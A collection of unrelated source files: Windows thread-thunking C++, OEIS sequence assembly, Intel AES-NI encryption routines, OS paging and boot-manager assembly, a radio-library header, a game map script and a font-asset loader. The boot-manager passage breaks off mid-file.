#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include <windows.h>
#include "edwin.h"
__declspec(thread) HWND gt_hWndThunking = 0;
int g_hThread = 0;
ATOM g_hWinClass = 0;
HANDLE g_hModule = 0;
void *GetThunkingHandle()
{
//assert(0);
if (gt_hWndThunking == 0 && g_hWinClass)
{
gt_hWndThunking = CreateWindow("edwin","edwin",0,0,0,0,0,0,0, GetModuleHandle(NULL),(LPVOID)4242);
}
return (void *)gt_hWndThunking;
}
typedef int (*PFN_THUNK_CLIENT)(void *);
void ThunkToClientThread(void *hThunk, PFN_THUNK_CLIENT fn, void *data)
{
::PostMessage((HWND)hThunk, (WM_USER + 4242), (WPARAM)fn, (LPARAM) data);
}
LRESULT CALLBACK edwinProc
(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
switch (uMsg)
{
case (WM_USER + 4242):
{
if (wParam)
{
((PFN_THUNK_CLIENT)(wParam))((void*)lParam);
}
return 0;
}
default:
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
return 0;
}
BOOL APIENTRY DllMain
(
HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
//assert(0);
switch (ul_reason_for_call)
{
case DLL_PROCESS_DETACH:
{
UnregisterClass("edwin", GetModuleHandle(NULL));
}
//fall through
case DLL_THREAD_DETACH:
// if (gt_hWndThunking != 0)
// {
// DestroyWindow(gt_hWndThunking);
// gt_hWndThunking = 0;
// }
break;
case DLL_PROCESS_ATTACH:
{
WNDCLASS edwinClass;
memset(&edwinClass, 0, sizeof(edwinClass));
edwinClass.hInstance = GetModuleHandle(NULL);
edwinClass.lpfnWndProc = edwinProc;
edwinClass.lpszClassName = "edwin";
g_hWinClass = RegisterClass(&edwinClass);
g_hModule = hModule;
}
//fall through
case DLL_THREAD_ATTACH:
{
}
break;
default:
break;
}
return TRUE;
}
int GetResourceData(const char *restype, int resid, void *&data, unsigned &len)
{
HRSRC hRsrc = ::FindResource((HINSTANCE)g_hModule, MAKEINTRESOURCE(resid), restype);
if (hRsrc != NULL)
{
len = ::SizeofResource((HINSTANCE)g_hModule, hRsrc);
if (len > 0)
{
HGLOBAL hResData = ::LoadResource((HINSTANCE)g_hModule, hRsrc);
if (hResData != NULL)
{
data = ::LockResource(hResData);
}
}
}
return 0;
}
#endif//_WIN32
|
; A132728: Triangle T(n, k) = 4 - 3*(-1)^k, read by rows.
; 1,1,7,1,7,1,1,7,1,7,1,7,1,7,1,1,7,1,7,1,7,1,7,1,7,1,7,1,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1,7,1
mov $4,2
mov $6,$0
lpb $4,1
mov $0,$6
sub $4,1
add $0,$4
sub $0,1
mov $3,$0
add $0,38
mov $2,$4
mul $3,$0
add $3,$0
div $3,2
mov $5,$0
add $5,8
div $3,$5
mov $5,$3
lpb $2,1
mov $1,$5
sub $2,1
lpe
lpe
lpb $6,1
sub $1,$5
mov $6,0
lpe
mul $1,6
add $1,1
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.text
.p2align 5, 0x90
u128_str:
.byte 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0
.p2align 5, 0x90
.globl _l9_EncryptCTR_RIJ128pipe_AES_NI
_l9_EncryptCTR_RIJ128pipe_AES_NI:
push %rbx
mov (16)(%rsp), %rax
movdqu (%rax), %xmm8
movdqu (%r9), %xmm0
movdqa %xmm8, %xmm9
pandn %xmm0, %xmm9
movq (%r9), %rbx
movq (8)(%r9), %rax
bswap %rbx
bswap %rax
movslq %r8d, %r8
sub $(64), %r8
jl .Lshort_inputgas_1
.Lblks_loopgas_1:
movdqa u128_str(%rip), %xmm4
pinsrq $(0), %rax, %xmm0
pinsrq $(1), %rbx, %xmm0
pshufb %xmm4, %xmm0
pand %xmm8, %xmm0
por %xmm9, %xmm0
add $(1), %rax
adc $(0), %rbx
pinsrq $(0), %rax, %xmm1
pinsrq $(1), %rbx, %xmm1
pshufb %xmm4, %xmm1
pand %xmm8, %xmm1
por %xmm9, %xmm1
add $(1), %rax
adc $(0), %rbx
pinsrq $(0), %rax, %xmm2
pinsrq $(1), %rbx, %xmm2
pshufb %xmm4, %xmm2
pand %xmm8, %xmm2
por %xmm9, %xmm2
add $(1), %rax
adc $(0), %rbx
pinsrq $(0), %rax, %xmm3
pinsrq $(1), %rbx, %xmm3
pshufb %xmm4, %xmm3
pand %xmm8, %xmm3
por %xmm9, %xmm3
movdqa (%rcx), %xmm4
mov %rcx, %r10
pxor %xmm4, %xmm0
pxor %xmm4, %xmm1
pxor %xmm4, %xmm2
pxor %xmm4, %xmm3
movdqa (16)(%r10), %xmm4
add $(16), %r10
mov %rdx, %r11
sub $(1), %r11
.Lcipher_loopgas_1:
aesenc %xmm4, %xmm0
aesenc %xmm4, %xmm1
aesenc %xmm4, %xmm2
aesenc %xmm4, %xmm3
movdqa (16)(%r10), %xmm4
add $(16), %r10
dec %r11
jnz .Lcipher_loopgas_1
aesenclast %xmm4, %xmm0
aesenclast %xmm4, %xmm1
aesenclast %xmm4, %xmm2
aesenclast %xmm4, %xmm3
movdqu (%rdi), %xmm4
movdqu (16)(%rdi), %xmm5
movdqu (32)(%rdi), %xmm6
movdqu (48)(%rdi), %xmm7
add $(64), %rdi
pxor %xmm4, %xmm0
movdqu %xmm0, (%rsi)
pxor %xmm5, %xmm1
movdqu %xmm1, (16)(%rsi)
pxor %xmm6, %xmm2
movdqu %xmm2, (32)(%rsi)
pxor %xmm7, %xmm3
movdqu %xmm3, (48)(%rsi)
add $(1), %rax
adc $(0), %rbx
add $(64), %rsi
sub $(64), %r8
jge .Lblks_loopgas_1
.Lshort_inputgas_1:
add $(64), %r8
jz .Lquitgas_1
lea (,%rdx,4), %r10
lea (-144)(%rcx,%r10,4), %r10
.Lsingle_blk_loopgas_1:
pinsrq $(0), %rax, %xmm0
pinsrq $(1), %rbx, %xmm0
pshufb u128_str(%rip), %xmm0
pand %xmm8, %xmm0
por %xmm9, %xmm0
pxor (%rcx), %xmm0
cmp $(12), %rdx
jl .Lkey_128_sgas_1
jz .Lkey_192_sgas_1
.Lkey_256_sgas_1:
aesenc (-64)(%r10), %xmm0
aesenc (-48)(%r10), %xmm0
.Lkey_192_sgas_1:
aesenc (-32)(%r10), %xmm0
aesenc (-16)(%r10), %xmm0
.Lkey_128_sgas_1:
aesenc (%r10), %xmm0
aesenc (16)(%r10), %xmm0
aesenc (32)(%r10), %xmm0
aesenc (48)(%r10), %xmm0
aesenc (64)(%r10), %xmm0
aesenc (80)(%r10), %xmm0
aesenc (96)(%r10), %xmm0
aesenc (112)(%r10), %xmm0
aesenc (128)(%r10), %xmm0
aesenclast (144)(%r10), %xmm0
add $(1), %rax
adc $(0), %rbx
sub $(16), %r8
jl .Lpartial_blockgas_1
movdqu (%rdi), %xmm4
pxor %xmm4, %xmm0
movdqu %xmm0, (%rsi)
add $(16), %rdi
add $(16), %rsi
cmp $(0), %r8
jz .Lquitgas_1
jmp .Lsingle_blk_loopgas_1
.Lpartial_blockgas_1:
add $(16), %r8
.Lpartial_block_loopgas_1:
pextrb $(0), %xmm0, %r10d
psrldq $(1), %xmm0
movzbl (%rdi), %r11d
xor %r11, %r10
movb %r10b, (%rsi)
inc %rdi
inc %rsi
dec %r8
jnz .Lpartial_block_loopgas_1
.Lquitgas_1:
pinsrq $(0), %rax, %xmm0
pinsrq $(1), %rbx, %xmm0
pshufb u128_str(%rip), %xmm0
pand %xmm8, %xmm0
por %xmm9, %xmm0
movdqu %xmm0, (%r9)
vzeroupper
pop %rbx
ret
|
global setupPageTables, enablePaging, stackTop
section .text
bits 32
setupPageTables:
mov eax, pageTableL3
or eax, 0b11 ; writeable entries
mov [pageTableL4], eax ; move flags to first entry in L4
mov eax, pageTableL2
or eax, 0b11
mov [pageTableL3], eax
mov ecx, 0 ; counter
.loop:
mov eax, 0x200000 ; map 2MB to each entry
mul ecx
or eax, 0b10000011 ; writable entries in large page
mov [pageTableL2 + ecx * 8], eax
inc ecx ; increment counter
cmp ecx, 512 ; check if reached to 512 (whole table is mapped)
jne .loop ; continue
ret
enablePaging:
; pass page table location to CPU
mov eax, pageTableL4
mov cr3, eax
; enable the physical address extension (PAE)
mov eax, cr4
or eax, 1 << 5
mov cr4, eax
; enable long mode
mov ecx, 0xC0000080
rdmsr
or eax, 1 << 8
wrmsr ; write back into model
; enable paging
mov eax, cr0
or eax, 1 << 31
mov cr0, eax
ret
section .bss
align 4096
; align page tables to 4KB
pageTableL4:
resb 4096
pageTableL3:
resb 4096
pageTableL2:
resb 4096
stackBottom:
resb 4096 * 4 ; reserve 16KB of memory
stackTop:
|
; A076824: Let a(1)=a(2)=1, a(n)=(2^ceiling(a(n-1)/2)+1)/a(n-2).
; 1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3,1,1,3,5,3
bin $0,2
pow $0,3
mod $0,5
mov $1,$0
mul $1,2
add $1,1
|
//
// Copyright 2010-2011 Ettus Research LLC
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
//
#ifndef INCLUDED_UHD_TYPES_IO_TYPE_HPP
#define INCLUDED_UHD_TYPES_IO_TYPE_HPP
#include <uhd/config.hpp>
namespace uhd{
/*!
* The DEPRECATED Input/Output configuration struct:
* Used to specify the IO type with device send/recv.
*
* Deprecated in favor of streamer interface.
* Its still in this file for the sake of gr-uhd swig.
*/
class UHD_API io_type_t{
public:
/*!
* Built in IO types known to the system.
*/
enum tid_t{
//! Custom type (technically unsupported by implementation)
CUSTOM_TYPE = int('?'),
//! Complex floating point (64-bit floats) range [-1.0, +1.0]
COMPLEX_FLOAT64 = int('d'),
//! Complex floating point (32-bit floats) range [-1.0, +1.0]
COMPLEX_FLOAT32 = int('f'),
//! Complex signed integer (16-bit integers) range [-32768, +32767]
COMPLEX_INT16 = int('s'),
//! Complex signed integer (8-bit integers) range [-128, 127]
COMPLEX_INT8 = int('b')
};
/*!
* The size of this io type in bytes.
*/
const size_t size;
/*!
* The type id of this io type.
* Good for using with switch statements.
*/
const tid_t tid;
/*!
* Create an io type from a built-in type id.
* \param tid a type id known to the system
*/
io_type_t(tid_t tid);
/*!
* Create an io type from attributes.
* The tid will be set to custom.
* \param size the size in bytes
*/
io_type_t(size_t size);
};
} //namespace uhd
#endif /* INCLUDED_UHD_TYPES_IO_TYPE_HPP */
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 5, 0x90
.globl EncryptECB_RIJ128pipe_AES_NI
.type EncryptECB_RIJ128pipe_AES_NI, @function
EncryptECB_RIJ128pipe_AES_NI:
movslq %r8d, %r8
sub $(64), %r8
jl .Lshort_inputgas_1
.p2align 5, 0x90
.Lblks_loopgas_1:
movdqa (%rcx), %xmm4
mov %rcx, %r9
movdqu (%rdi), %xmm0
movdqu (16)(%rdi), %xmm1
movdqu (32)(%rdi), %xmm2
movdqu (48)(%rdi), %xmm3
add $(64), %rdi
pxor %xmm4, %xmm0
pxor %xmm4, %xmm1
pxor %xmm4, %xmm2
pxor %xmm4, %xmm3
movdqa (16)(%r9), %xmm4
add $(16), %r9
mov %rdx, %r10
sub $(1), %r10
.p2align 5, 0x90
.Lcipher_loopgas_1:
aesenc %xmm4, %xmm0
aesenc %xmm4, %xmm1
aesenc %xmm4, %xmm2
aesenc %xmm4, %xmm3
movdqa (16)(%r9), %xmm4
add $(16), %r9
dec %r10
jnz .Lcipher_loopgas_1
aesenclast %xmm4, %xmm0
movdqu %xmm0, (%rsi)
aesenclast %xmm4, %xmm1
movdqu %xmm1, (16)(%rsi)
aesenclast %xmm4, %xmm2
movdqu %xmm2, (32)(%rsi)
aesenclast %xmm4, %xmm3
movdqu %xmm3, (48)(%rsi)
add $(64), %rsi
sub $(64), %r8
jge .Lblks_loopgas_1
.Lshort_inputgas_1:
add $(64), %r8
jz .Lquitgas_1
lea (,%rdx,4), %rax
lea (-144)(%rcx,%rax,4), %r9
.p2align 5, 0x90
.Lsingle_blk_loopgas_1:
movdqu (%rdi), %xmm0
add $(16), %rdi
pxor (%rcx), %xmm0
cmp $(12), %rdx
jl .Lkey_128_sgas_1
jz .Lkey_192_sgas_1
.Lkey_256_sgas_1:
aesenc (-64)(%r9), %xmm0
aesenc (-48)(%r9), %xmm0
.Lkey_192_sgas_1:
aesenc (-32)(%r9), %xmm0
aesenc (-16)(%r9), %xmm0
.Lkey_128_sgas_1:
aesenc (%r9), %xmm0
aesenc (16)(%r9), %xmm0
aesenc (32)(%r9), %xmm0
aesenc (48)(%r9), %xmm0
aesenc (64)(%r9), %xmm0
aesenc (80)(%r9), %xmm0
aesenc (96)(%r9), %xmm0
aesenc (112)(%r9), %xmm0
aesenc (128)(%r9), %xmm0
aesenclast (144)(%r9), %xmm0
movdqu %xmm0, (%rsi)
add $(16), %rsi
sub $(16), %r8
jnz .Lsingle_blk_loopgas_1
.Lquitgas_1:
pxor %xmm4, %xmm4
vzeroupper
ret
.Lfe1:
.size EncryptECB_RIJ128pipe_AES_NI, .Lfe1-(EncryptECB_RIJ128pipe_AES_NI)
|
SECTION "Map_0566", ROM0[$B800]
Map_0566_Header:
hdr_tileset 5
hdr_dimensions 6, 6
hdr_pointers_a Map_0566_Blocks, Map_0566_TextPointers
hdr_pointers_b Map_0566_Script, Map_0566_Objects
hdr_pointers_c Map_0566_InitScript, Map_0566_RAMScript
hdr_palette $00
hdr_music MUSIC_OAKS_LAB, AUDIO_3
hdr_connection NORTH, $0000, 0, 0
hdr_connection SOUTH, $0000, 0, 0
hdr_connection WEST, $0000, 0, 0
hdr_connection EAST, $0000, 0, 0
Map_0566_Objects:
hdr_border $03
hdr_warp_count 1
hdr_warp 2, 4, 14, 6, $0565
hdr_sign_count 1
hdr_signpost 0, 5, $03
hdr_object_count 2
hdr_object SPRITE_OAK_AIDE, 5, 10, STAY, RIGHT, $02
hdr_object SPRITE_GIRL, 5, 6, STAY, RIGHT, $01
Map_0566_RAMScript:
rs_end
Map_0566_Blocks:
db $03,$03,$03,$03,$03,$03
db $03,$68,$65,$67,$68,$74
db $65,$70,$6b,$99,$74,$7a
db $6b,$55,$05,$05,$78,$a3
db $46,$05,$05,$c0,$74,$d0
db $03,$03,$05,$05,$05,$78
Map_0566_TextPointers:
dw Map_0566_TX1
dw Map_0566_TX2
dw Map_0566_TX3
Map_0566_InitScript:
ret
Map_0566_Script:
ret
Map_0566_TX1:
TX_ASM
ld a, [$c742]
cp $c0
jr z, .before
ld hl, Map_0566_After
call PrintTextEnhanced
ld c, EVENT_GLITCH_LAB
call TestEventFlag
jp c, TextScriptEnd
ld bc, $5C90
ld de, $DEA1
call CompleteEvent
jp TextScriptEnd
.before
ld hl, Map_0566_Before
call PrintTextEnhanced
jp TextScriptEnd
Map_0566_Before:
text "An experiment of ours has"
next "gone wrong, and we've"
cont "caused map corruption in"
cont "several locations in"
cont "Glitchland."
para "Please, if you're able, help"
next "us clean this mess up!"
para "And if someone asks, we don't"
next "have anything to do with it!"
done
Map_0566_After:
text "Wow, it suddenly looks so"
next "much better!"
para "Thank you! Now we can"
next "continue our dangerous"
cont "experiments!"
wait
Map_0566_TX2:
TX_ASM
jp EnhancedTextOnly
text "Although our experiment went"
next "a little out of hand, we're"
cont "collecting a lot of research"
cont "just from this incident!"
done
Map_0566_TX3:
TX_ASM
jp EnhancedTextOnly
text "Hey, what's that?"
para "April Fools event 2019:"
next "Overview?"
para "Better not read it. We all"
next "hate spoilers, right?"
done
|
%ifdef CONFIG
{
"RegData": {
"RAX": "0x4142434441424748",
"RBX": "0x5152535441424340",
"RCX": "0x0000000061626360",
"RDX": "0x6162636465666700"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x4142434445464748
mov [rdx + 8 * 0], rax
mov rax, 0x5152535455565758
mov [rdx + 8 * 1], rax
mov rax, 0x6162636465666768
mov [rdx + 8 * 2], rax
mov rax, 0x6162636465666768
mov [rdx + 8 * 3], rax
and word [rdx + 8 * 0 + 2], 0x6162
and dword [rdx + 8 * 1 + 0], 0x61626364
and qword [rdx + 8 * 2 + 0], 0x61626364
and qword [rdx + 8 * 3 + 0], -256
mov rax, [rdx + 8 * 0]
mov rbx, [rdx + 8 * 1]
mov rcx, [rdx + 8 * 2]
mov rdx, [rdx + 8 * 3]
hlt
|
; A275788: a(0) = 0, a(n+1) = 2*a(n) + (-1)^floor(n/3).
; 0,1,3,7,13,25,49,99,199,399,797,1593,3185,6371,12743,25487,50973,101945,203889,407779,815559,1631119,3262237,6524473,13048945,26097891,52195783,104391567,208783133,417566265,835132529,1670265059,3340530119,6681060239,13362120477,26724240953,53448481905,106896963811,213793927623,427587855247,855175710493,1710351420985,3420702841969,6841405683939,13682811367879,27365622735759,54731245471517,109462490943033,218924981886065,437849963772131,875699927544263,1751399855088527,3502799710177053,7005599420354105
mov $1,2
pow $1,$0
mov $0,1
sub $0,$1
div $0,9
mul $0,2
add $1,$0
sub $1,1
|
; A142314: Primes congruent to 4 mod 45.
; Submitted by Jon Maiga
; 139,229,409,499,769,859,1039,1129,1399,1489,1579,1669,1759,2029,2389,2659,2749,3019,3109,3469,3559,3739,3919,4099,4549,4639,4729,4909,4999,5179,5449,6079,6529,6619,6709,7069,7159,7699,7789,7879,8059,8329,8419,8599,8689,8779,9049,9319,9679,9769,9859,9949,10039,10399,10939,11119,11299,11839,12109,12289,12379,12739,12829,12919,13009,13099,13729,13999,14449,14629,15259,15349,15439,15619,15889,16069,16249,16339,16519,16699,16879,17239,17419,17509,17599,17959,18049,18229,18679,18859,19219,19309,19489
mov $1,20
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,4
sub $2,2
mov $3,$1
mul $3,2
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,41
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mul $1,2
mov $0,$1
sub $0,81
|
; void *z80_otdr(void *src, uint8_t port, uint8_t num)
SECTION code_clib
SECTION code_z80
PUBLIC z80_otdr
EXTERN asm_z80_otdr
z80_otdr:
pop af
pop de
pop bc
pop hl
push hl
push bc
push de
push af
ld b,e
jp asm_z80_otdr
|
internal void
LoadGameAssets(platform_api *Platform, game_state *GameState, memory_arena *Arena)
{
read_file_result AssetFile = Platform->ReadFile("assets/data.fasset");
asset_header *AssetHeader = (asset_header *)AssetFile.Contents;
Assert(AssetHeader->MagicValue == 0x451);
GameState->FontAssetCount = AssetHeader->FontCount;
GameState->FontAssets = PushArray<font_asset>(Arena, GameState->FontAssetCount);
u64 FontAssetHeaderOffset = AssetHeader->FontsOffset;
for (u32 FontAssetIndex = 0; FontAssetIndex < GameState->FontAssetCount; ++FontAssetIndex)
{
font_asset *FontAsset = GameState->FontAssets + FontAssetIndex;
font_asset_header *FontAssetHeader = (font_asset_header *)((u8 *)AssetFile.Contents + FontAssetHeaderOffset);
u32 PixelCount = FontAssetHeader->TextureAtlasWidth * FontAssetHeader->TextureAtlasHeight * FontAssetHeader->TextureAtlasChannels;
u8 *TextureAtlas = PushArray<u8>(Arena, PixelCount);
CopyMemoryBlock(
(u8 *)AssetFile.Contents + FontAssetHeader->TextureAtlasOffset,
TextureAtlas, PixelCount * sizeof(u8)
);
codepoints_range *CodepointsRanges = PushArray<codepoints_range>(Arena, FontAssetHeader->CodepointsRangeCount);
CopyMemoryBlock(
(u8 *)AssetFile.Contents + FontAssetHeader->CodepointsRangesOffset,
CodepointsRanges, FontAssetHeader->CodepointsRangeCount * sizeof(codepoints_range)
);
f32 *HorizontalAdvanceTable = PushArray<f32>(Arena, FontAssetHeader->HorizontalAdvanceTableCount);
CopyMemoryBlock(
(u8 *)AssetFile.Contents + FontAssetHeader->HorizontalAdvanceTableOffset,
HorizontalAdvanceTable, FontAssetHeader->HorizontalAdvanceTableCount * sizeof(f32)
);
glyph *Glyphs = PushArray<glyph>(Arena, FontAssetHeader->GlyphCount);
CopyMemoryBlock(
(u8 *)AssetFile.Contents + FontAssetHeader->GlyphsOffset,
Glyphs, FontAssetHeader->GlyphCount * sizeof(glyph)
);
FontAssetHeaderOffset += (FontAssetIndex + 1) * (
sizeof(font_asset_header) +
PixelCount * sizeof(u8) + FontAssetHeader->CodepointsRangeCount * sizeof(codepoints_range) +
FontAssetHeader->HorizontalAdvanceTableCount * sizeof(f32) + FontAssetHeader->GlyphCount * sizeof(glyph)
);
FontAsset->TextureAtlas.Width = FontAssetHeader->TextureAtlasWidth;
FontAsset->TextureAtlas.Height = FontAssetHeader->TextureAtlasHeight;
FontAsset->TextureAtlas.Channels = FontAssetHeader->TextureAtlasChannels;
FontAsset->TextureAtlas.Memory = TextureAtlas;
FontAsset->VerticalAdvance = FontAssetHeader->VerticalAdvance;
FontAsset->Ascent = FontAssetHeader->Ascent;
FontAsset->Descent = FontAssetHeader->Descent;
FontAsset->CodepointsRangeCount = FontAssetHeader->CodepointsRangeCount;
FontAsset->CodepointsRanges = CodepointsRanges;
FontAsset->HorizontalAdvanceTableCount = FontAssetHeader->HorizontalAdvanceTableCount;
FontAsset->HorizontalAdvanceTable = HorizontalAdvanceTable;
FontAsset->GlyphCount = FontAssetHeader->GlyphCount;
FontAsset->Glyphs = Glyphs;
}
Platform->FreeFile(AssetFile);
} |
;
; File: bm/main.asm
;
; Main file of Boot manager.
;
; Video modes:
; ============
;
; VirtualBox:
; ===============
; Oracle VirtualBox: 0x0112 640x480x24bpp
; Oracle VirtualBox: 0x0115 800x600x24BPP
; Oracle VirtualBox: 0x0118 1024x768x24BPP
;
;
; Nvidia GeForce:
; =================
; GeForce_8400_GS equ 0x06E4
; GeForce 8400 GS: 0x0115 800x600x32BPP
;
; The main resolution is 800x600x24.
; The only way to change the resolution for now is
; changing a global variable in this document.
;
; History:
; 2005 - Created by Fred Nora.
;---------------------------------------------------
;; #importante
;; This image was loaded in 0H:8000H.
;; It's easier to handle the gdt stuff when the org is
;; in 8000H and the segment is 0H.
; 32768 - 65535 (hex: 8000h - FFFFh)
; 32KB for this program
; This is the limit we have.
; #danger:
; We are almost reaching this limit.
[ORG 0x8000]
;;=====================================
;; Entry point do Boot Manager ;;
;;=====================================
;; The gramado mode
;; it will select the video mode.
;; The video mode depends on the gramado mode.
;; See: rmStartGUI on pm.inc
;; This is the default mode.
;; But actually the mode is selected by the user
;; in the command shell.
;; It's like a 'gamemode'.
;;GRAMADO_DEFAULT_MODE EQU 0x00 ; jail 320x200
;;GRAMADO_DEFAULT_MODE EQU 0x01 ; p1 640x480
GRAMADO_DEFAULT_MODE EQU 0x02 ; home 800x600
;;GRAMADO_DEFAULT_MODE EQU 0x03 ; p2 1024x768
;;GRAMADO_DEFAULT_MODE EQU 0x04 ; castle ??
;;GRAMADO_DEFAULT_MODE EQU 0x05 ; california ??
;; ...
;;
;; == Selecting the mode =======================================
;;
;; This is the default video mode.
;; we will use this if the 'gramado mode' fail.
;; the video mode depends on the 'gramado mode'
;; Global variables to set the video mode
;; Well tested modes.
;; ok on qemu.
;; It works on nvidia geforce too, but with 32bpp.
;; 24bpp on qemu
;;G_VIDEO_MODE EQU 0x010F ;320x200
G_VIDEO_MODE EQU 0x0112 ;640x480
;; G_VIDEO_MODE EQU 0x0115 ;800x600
;; G_VIDEO_MODE EQU 0x0118 ;1024x768
;; ...
;; =================================================================
;;
;; GUI FLAG.
;;
;; 1 = Starts system GUI.
;; 0 = Starts the Boot Manager CLI.
;G_START_GUI EQU 1 ;; 1= (YES) 0 = (NO)
G_START_GUI EQU 0 ;; 1= (YES) 0 = (NO)
;;
;; 16 bit:
;; Estamos no primeiro setor do BM.BIN, ele come�a em 16 bit.
;;
[bits 16]
; Entry point.
; This is the entry point for the BM.BIN.
; Jump after the data area.
os_call_vectors:
jmp bm_main
;jmp bm_vector1
;jmp bm_vector2
;jmp bm_vector3
;jmp bm_vector4
; ...
; Data
ROOTDIRSTART EQU (bootmanagerOEM_ID)
ROOTDIRSIZE EQU (bootmanagerOEM_ID+4)
;; #todo
;; Change some names here!
bootmanagerOEM_ID db "QUASI-OS"
bootmanagerBytesPerSector dw 0x0200
bootmanagerSectorsPerCluster db 1
bootmanagerReservedSectors dw 62
bootmanagerTotalFATs db 0x02
bootmanagerMaxRootEntries dw 0x0200
bootmanagerTotalSectorsSmall dw 0x0000
bootmanagerMediaDescriptor db 0xF8
bootmanagerSectorsPerFAT dw 246
bootmanagerSectorsPerTrack dw 0x11
bootmanagerNumHeads dw 4
bootmanagerHiddenSectors dd 5 ;; 1+1+3 (mbr+vbr+reserved sectors depois do vbr)
bootmanagerTotalSectorsLarge dd 0
bootmanagerDriveNumber db 0x80
bootmanagerFlags db 0x00
bootmanagerSignature db 0x29
bootmanagerVolumeID dd 0x980E63F5
bootmanagerVolumeLabel db "QUASI BMBM"
bootmanagerSystemID db "FAT16 "
;; Salvando alguns argumentos passados pelo MBR.
save_cylinder_numbers: dw 0 ;Numero de cilindros do disco.
;;...
; ========
; bm_main:
; The real entry point.
; #importante:
; O unico argumento passado pelo MBR foi o numero do disco.
; IN: dl = Disk number.
; /dev/sda - 0x80
; /dev/sdb - 0x81
; /dev/sdc - 0x82
; /dev/sdd - 0x83
bm_main:
; Set up registers.
; Adjust segment registers and stack.
; Code located at 0000:0x8000.
; Stack located at 0000:0x6000.
cli
mov ax, 0
mov ds, ax
mov es, ax
mov ax, 0x0000
mov ss, ax
mov sp, 0x6000
sti
; Save disk number.
mov byte [bootmanagerDriveNumber], dl
mov byte [META$FILE.DISK_NUMBER], dl
mov byte [DISKINFO16_disk_number], dl
; Get disk info.
; Get drive parameters:
; =====================
; Return: CF set on error.
; AH = status (07h).
; CF clear if successful.
; AH = 00h.
; AL = 00h on at least some BIOSes.
; BL = drive type (AT/PS2 floppies only).
; CH = low eight bits of maximum cylinder number.
; CL = maximum sector number (bits 5-0).
; high two bits of maximum cylinder number (bits 7-6).
; DH = maximum head number.
; DL = number of drives.
xor ax, ax
mov ah, byte 08h
int 0x13
; #test
; Set the keyboard repeat rate to the max
;; mov ax, 0x0305
;; xor bx,bx
;; int 0x16
; Heads.
; Numero de heads.
; Logical last index of heads = (number_of - 1).
; (Because index starts with 0).
; Obs:
; O valor de Heads foi gravado no BPB mas precisar� ser passado a diante
; para uso posterior.
xor ax, ax
mov al, dh
inc ax ;From 0-based to count.
;Number of heads.
mov word [bootmanagerNumHeads], ax
